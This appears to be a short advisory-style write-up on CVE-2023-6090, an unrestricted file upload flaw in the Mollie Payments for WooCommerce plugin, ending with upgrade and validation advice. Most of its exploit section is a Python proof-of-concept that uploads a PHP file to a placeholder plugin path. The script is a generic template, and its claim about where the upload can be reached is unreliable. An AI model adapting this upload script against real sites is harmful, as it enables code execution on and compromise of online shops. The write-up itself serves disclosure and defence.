Exploit Details

In the affected Mollie Payments for WooCommerce plugin, there is an unrestricted file upload functionality that does not adequately filter out dangerous file types. As a consequence, attackers can exploit this flaw to upload malicious files, such as PHP or JavaScript, to execute arbitrary code and perform unauthorized actions on the platform.

Below is a sample code snippet that demonstrates how the issue may be exploited

import requests

target_url = 'https://your-target-site.com/wp-content/plugins/mollie-payments-for-woocommerce/path-to-vulnerable-script.php';
file_name = 'malicious_file.php'

# Craft the malicious file
malicious_file = {
    'file': (file_name, '<?php echo "Hacked By Attacker"; ?>', 'application/x-php')
}

response = requests.post(target_url, files=malicious_file)

if response.status_code == 200:
    print('[+] File uploaded successfully')
    print(f'The uploaded file can be accessed at {target_url}/{file_name}')
else:
    print('[-] Failed to upload the file')

In this example, the malicious file (malicious_file.php) contains PHP code that, when executed, will display a message saying, "Hacked By Attacker." The attacker can then access the uploaded file at a specific URL and execute the arbitrary code.

Mitigation Actions

Users of Mollie Payments for WooCommerce should upgrade to the latest version, which contains a fix for the vulnerability. As a security best practice, it is essential to always keep your plugins and themes up-to-date to avoid falling victim to attacks.

For developers, you should ensure proper validation checks for user-uploaded files and restrict the allowed file types to prevent such issues in the future.

Conclusion

Security vulnerabilities like CVE-2023-6090, which allow unrestricted file uploads, can pose a serious threat to e-commerce sites. It is essential to keep plugins like Mollie Payments for WooCommerce current on the latest version to protect against these vulnerabilities.
